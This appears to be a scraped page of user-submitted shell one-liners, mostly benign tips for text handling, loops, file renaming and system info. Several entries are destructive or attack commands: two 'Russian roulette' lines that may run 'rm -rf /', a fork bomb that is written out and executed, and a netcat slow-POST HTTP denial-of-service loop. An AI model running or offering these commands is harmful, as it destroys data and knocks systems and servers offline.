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Shows a list of all installed cows saying a fortune. Also lists the cows names. Pic your favorite cow! Needs cowsay, fortune and ruby installed. The path only applies to OS X with cowsay installed using homebrew. On Linux it might be /usr/share/cowsay/cows/ or similar. Uses ruby just because. Show Sample Output

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echo 'Dir.foreach("/usr/local/Cellar/cowsay/3.03/share/cows") {|cow| puts cow; system "fortune | cowsay -f /usr/local/Cellar/cowsay/3.03/share/cows/#{cow}" }' | ruby

orkoden · 2013-04-15 12:27:38 10

convert a string from lower case into uppercase
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echo lowercaseword | tr '[a-z]' '[A-Z]'

eastwind · 2013-05-11 11:08:37 6
Replace all the spaces in all the filenames of the current directory and including directories with underscores.
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ls -1 | while read file; do new_file=$(echo $file | sed s/\ /_/g); mv "$file" "$new_file"; done

unixmonkey57489 · 2013-05-22 11:54:11 7
Netcat ftp honeypot centos linux (use port 22 for SSH)

[root@dhcppc1 windows]# cat /var/log/honeylog.log Connection from 192.168.1.71 port 21 [tcp/ftp] accepted Connection from 192.168.1.65 port 21 [tcp/ftp] accepted [root@dhcppc1 windows]# nc 192.168.1.65 21 220 ProFTPD 1.3.3c Server [ProFTPD] FAILED FTP ATTEMPT - PORT 21 *You can not run it if you have activated the ftp server.
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while [ 1 ]; do echo -e "220 ProFTPD 1.3.3c Server [ProFTPD] \nFAILED FTP ATTEMPT - PORT 21" | nc -vvv -l 192.168.1.65 21 >> /var/log/honeylog.log 2>> /var/log/honeylog.log; done

xmuda · 2013-07-16 19:05:37 6
Removes single line from known_hosts file

Quickly remove the conflicting line (key) from current users known_hosts file when there is an SSH host conflict. Very nice when you get tired of writing out full commands. Ideally you would place this into your .bash_profile Usage: rhost [n] Example: rhost 33 (removes line 33 from ~/.ssh/known_hosts) Function assumes the $HOME exists, you could alternatively use "~/.ssh/known_hosts" Mac OSX likes a space for sed -i "$1" d
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rhost() { if [[ $1 =~ ^[0-9]+$ ]]; then sed -i "$1"d ${HOME}/.ssh/known_hosts; else echo "rhost [n]"; fi }

lowjax · 2013-08-01 21:10:34 13
Creating rapidly an html menu

This will create rapidly an html menu. You can paste it in you're html page with the middle button(the wheel). I didn't test it in an html with css, but it seems alright. Show Sample Output
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```
<ul>
 <li>menu 1</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 2</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 3</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
<ul>
 <li>menu 4</li>
  <ul>
   <li>item 1</li>
   <li>item 2</li>
   <li>item 3</li>
   <li>item 4</li>
   <li>item 5</li>
  </ul>
</ul>
```
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for menu in {1..4}; do echo -e "<ul>\n <li>menu $menu</li>\n <ul>"; for items in {1..5}; do echo " <li>item $items</li>"; if [ $items -eq 5 ];then echo -e " </ul>";fi;done; echo "</ul>";done | xclip

qcjn · 2013-09-22 06:34:32 6
find all minimum values in file with at least 100 lines
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for ff in directory; do numLines=`wc -l $ff`; numLines=$(echo $numLines | sed 's/ .*//g'); min=$(sort -nrk 1 $ff | tail -1); if [ $numLines -gt 100 ]; then echo $min >> minValues; fi;done;

user1234 · 2013-09-23 04:04:52 7
Russian rullette: Warning! Don't run, if not sure what are you doing
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# [ $[ $RANDOM % 6 ] == 0 ] && rm -rf / || echo "Alive"

vp_arth · 2013-10-31 10:51:04 7
Move all epub keyword containing files to Epub folder
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IFS=$(echo -en "\n\b"); mkdir Epub; for i in `find . | grep epub`; do echo "epub: $i"; mv -v "$i" Epub; done

Wafelijzer · 2014-01-13 20:39:58 8
Stores current working directory before exit and restores it on a new bash start

this command will add the following two lines into the ~/.bash_aliases: alias exit='pwd > ~/.lastdir;exit' [ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)" or redirect it to the ~/.bashrc if you like Donno, I find it usefull. You may also define an alias for 'cd ~' like - alias cdh='cd ~'
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echo -e 'alias exit='\''pwd > ~/.lastdir;exit'\''\n[ -n "$(cat .lastdir 2>/dev/null)" ] && cd "$(cat .lastdir)"' >> ~/.bash_aliases

ichbins · 2014-01-28 18:02:04 6
A simple way find total Memory capacity of the system

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```
Memory: 192 GB
```
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echo "Memory:" $(dmidecode --type memory | grep " MB" | awk '{sum += $2; a=sum/1024} END {print a}') "GB"

bp · 2014-02-18 06:20:34 9
Get Minecraft ≥1.7 Server info (online players etc.) JSON
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(echo -e '\x06\x00\x00\x00\x00\x00\x01\x01\x00'; sleep 1)|nc -c $host 25565

tehdog · 2014-08-05 14:44:40 13
Performs Layer 7 HTTP DoS attack

Check if your HTTP server is vulnerable to a very effective variant of slow HTTP attack called R.U.D.Y (R-U-Dead-Yet?). This command tries to keep many connections to the target web server and hold them open as long as possible. Affected server will exhaust its maximum concurrent connection pool and deny additional connection attempts from legitimate clients. Use it with caution!
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for i in `seq 300`; do ( ( echo -e "POST / HTTP/1.1\nHost: vhost.domain\nContent-length: 100000\n\n"; for j in `seq 600`; do echo $j=$j\&; sleep 5; done ) | nc vhost.domain 80 & ); done

elceef · 2015-04-15 14:02:55 9
Check the current price of Bitcoin (jq version, defines a function)

The only pre-requisite is jq (and curl, obviously). The other version used grep, but jq is much more suited to JSON parsing than that. Show Sample Output
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```
$ btc USD
1 BTC = 232.0986 USD
$ btc GBP
1 BTC = 149.4399 GBP
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btc() { echo "1 BTC = $(curl -s https://api.coindesk.com/v1/bpi/currentprice/$1.json | jq .bpi.\"$1\".rate | tr -d \"\"\") $1"; }

benjabean1 · 2015-09-19 02:49:30 18
Command-line russian roulette
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[ $[ $RANDOM % 6 ] = 0 ] && rm -rf --no-preserve-root / || echo "Click"

mogoh · 2017-12-31 01:46:13 174
quick integer CPU benchmark

You could have that little benchmark run on all cores in parallel, as a multi-core benchmark or stress test First find the number of cores, then have parallel iterate over that in, well, parallel Show Sample Output
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```
...
41454625947560171969501001538543925124881846970621917597708878154881\
18278788738248093374936943243527734573872009289119068940335579136

real	0m12,698s
user	0m14,461s
sys	0m0,382s
```
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time cat /proc/cpuinfo |grep proc|wc -l|xargs seq|parallel -N 0 echo "2^2^20" '|' bc

kostis · 2018-12-06 05:36:55 1059
shell bash iterate number range with for loop

iterating range of numer with for loop in shell or bash Show Sample Output
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10
11
12
13
14
15
16
17
18
19
20
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rangeBegin=10; rangeEnd=20; for numbers in $(eval echo "{$rangeBegin..$rangeEnd}"); do echo $numbers;done

aysadk · 2019-07-26 09:19:44 228
shell bash iterate number range with for loop

"seq" has an additional parameter to use as INCREMENT. # seq FIRST INCREMENT LAST https://linux.die.net/man/1/seq Show Sample Output
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1
2
3
4
5
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for i in $(seq 1 5) ; do echo $i ; done

guilsson · 2019-07-29 18:34:12 208
Countdown Clock

I find the other timers are inaccurate. It takes some microseconds to perform the date function. Therefore, using date/time math to calculate the time for us results in millisecond accuracy. This is tailored to the BusyBox date function. May need to change things around for GNU date function. Show Sample Output
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00:03:00
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let T=$(date +%s)+3*60;while [ $(date +%s) -le $T ]; do let i=$T-$(date +%s); echo -ne "\r$(date -d"0:0:$i" +%H:%M:%S)"; sleep 0.3; done

davidk · 2019-10-22 15:04:21 140
Fork bomb (don't actually execute)

“$0” is a variable returning the name of the script that you call it in — so running “./$0&” twice amounts to the script running itself in a separate process twice. Show Sample Output
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```
#!/bin/bash
./$0&
./$0&
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echo -e “\x23\x21/bin/bash\n\.\/\$\0\&\n\.\/\$\0\&” > bomb.sh && ./bomb.sh

realkstrawn93 · 2021-04-30 19:33:40 138
reset the bizzarre gone junk terminal to normal
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echo "Xc" | tr "Xo" "\033\017

mnikhil · 2009-02-07 18:55:27 9
Commit all the changes in your java code
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svn st | grep /main/java | awk '{print $2}' | xargs echo | xargs svn ci -m "my comment here"

Antoine · 2009-02-11 16:31:05 10
Improvement of curl + Twitter

Modify the script for your username and password, and save it as a script. Run the script, and enjoy ./tweet
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echo "Set Twitter Status" ; read STATUS; curl -u user:pass -d status="$STATUS" http://twitter.com/statuses/update.xml

ronz0 · 2009-02-16 14:34:05 119
read a file with table like data

This will print out the third column of every line in FILE. Useful for many files in /proc or *csv data. Show Sample Output
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3
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echo 1 2 3 > FILE; while read -a line; do echo ${line[2]}; done < FILE

occam · 2009-03-06 15:32:40 6
Quick alias for playing music.

An alias i made for myself to play music in a faster way. Works great when you have Guake / Tilda installed (Console that drops down like in the game QUAKE) --- I put this in my bash_alias file (I'm on ubuntu, the bash_alias file does autostart with the right config) but it works putting it in bashrc too. Or anything that autostarts when the console is opened. --- Needs Mplayer and music files to work. With out music theres nothing to play! Oh, and also, without modification, this alias will try to play stuff from your ~/Music folder! (case sensitive). Make sure that folder exists and has music OR edit this alias to fit your needs. Show Sample Output
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```
dude@boxy:~$ mux
File.mp3 anotherfile Moremusic Hardrock.mp3
File> Hardrock.mp3
<Insert lots of unneeded Mplayer output here>
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alias mux='clear && cd ~/Music/ && ls && echo -n "File> " && read msi && mplayer ~/Music/$msi'

Noxn · 2009-03-23 10:45:27 16
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prints the parameter you used on the previous command

A command to copy mysql tables from a remote host to current host via ssh.

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Gets the X11 Screen resolution

Requires xrandr, grep and, sed.

Broadcast your shell thru ports 5000, 5001, 5002 ...

run 'nc yourip 5000', 'nc yourip 5001' or 'nc yourip 5002' elsewhere will produce an exact same mirror of your shell. This is handy when you want to show someone else some amazing stuff in your shell without giving them control over it.

Get AWS temporary credentials ready to export based on a MFA virtual appliance

You might want to secure your AWS operations requiring to use a MFA token. But then to use API or tools, you need to pass credentials generated with a MFA token. This commands asks you for the MFA code and retrieves these credentials using AWS Cli. To print the exports, you can use: `awk '{ print "export AWS_ACCESS_KEY_ID=\"" $1 "\"\n" "export AWS_SECRET_ACCESS_KEY=\"" $2 "\"\n" "export AWS_SESSION_TOKEN=\"" $3 "\"" }'` You must adapt the command line to include: * $MFA_IDis ARN of the virtual MFA or serial number of the physical one * TTL for the credentials

Rsync remote data as root using sudo

If your user has sudo on the remote box, you can rsync data as root without needing to login as root. This is very helpful if the remote box does not allow root to login over SSH (which is a common security restriction).

Annotate tail -f with timestamps

Uses the command ts in order to add a timestamp on each line. This command is provided in the moreutils package on Debian, and you may need libtime-duration-perl to be able to format the date.

convert wav files to ogg

cd to the folder containing the wav files and convert them all to ogg format. in my sample output i use the -a and -l flags to set the author and album title. to get the oggenc program in ubuntu linux run: sudo apt-get install oggenc

Prepend a text to a file.

Using the sed -i (inline), you can replace the beginning of the first line of a file without redirecting the output to a temporary location.

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